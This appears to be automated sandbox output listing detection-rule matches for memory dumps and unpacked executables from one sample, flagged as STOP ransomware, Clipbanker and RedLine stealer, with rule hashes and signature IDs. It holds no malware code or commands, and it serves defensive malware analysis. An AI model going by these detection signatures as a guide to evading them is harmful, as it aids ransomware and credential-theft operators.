Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.1848011665.0000000004483000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000005.00000002.1719190222.0000000004544000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1701561007.000000000442E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.2019412066.00000000009BC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001C.00000002.2974276962.00000000009A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000017.00000002.2105054288.00000000044CA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
